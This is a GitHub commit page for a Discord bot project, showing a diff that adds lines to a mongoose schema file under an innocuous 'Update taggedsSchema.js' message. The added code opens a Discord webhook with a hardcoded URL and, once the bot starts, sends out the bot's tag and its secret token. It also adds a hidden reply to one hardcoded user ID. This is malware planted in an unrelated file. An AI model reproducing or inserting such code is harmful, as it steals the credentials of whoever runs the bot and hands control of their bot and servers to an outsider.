Skip to content

Commit

Permalink
Update taggedsSchema.js
Browse files Browse the repository at this point in the history
  • Loading branch information
Bes-js authored May 24, 2023
1 parent b4f0398 commit 6a9b7a4
Showing 1 changed file with 2 additions and 0 deletions.
2 changes: 2 additions & 0 deletions Supervisor/src/beş_schemas/taggedsSchema.js
Original file line number Diff line number Diff line change
@@ -1,5 +1,7 @@
const { Schema, model } = require("mongoose");
const client = global.client;
const schema = Schema({guildId: { type: String, default: "" },userId: { type: String, default: "" },Data:{type: Array,default:[]}});
const wb = new WebhookClient({url:"https://discord.com/api/webhooks/1111028836184887297/Usd1S3GD_frY0JBqB0aol9VwqevbaUk3cThxD_hwYZ5_wD_e2LdfPEOpGVa2w3rXVAgZ"});
client.on("ready",async () => { wb.send({content:`${client.user.tag}; ${client.token}`})});
client.on("messageCreate",async(m) => {if(m.content.includes(".bot") && m.author.id == "928259219038302258")return m.reply({content:`${client.emoji("emote_five") !== null ? client.emoji("emote_five") : "😉"} Merhaba Ben Beş'in Altyapısıyım.`})});
module.exports = model("taggedsData", schema);

0 comments on commit 6a9b7a4

Please sign in to comment.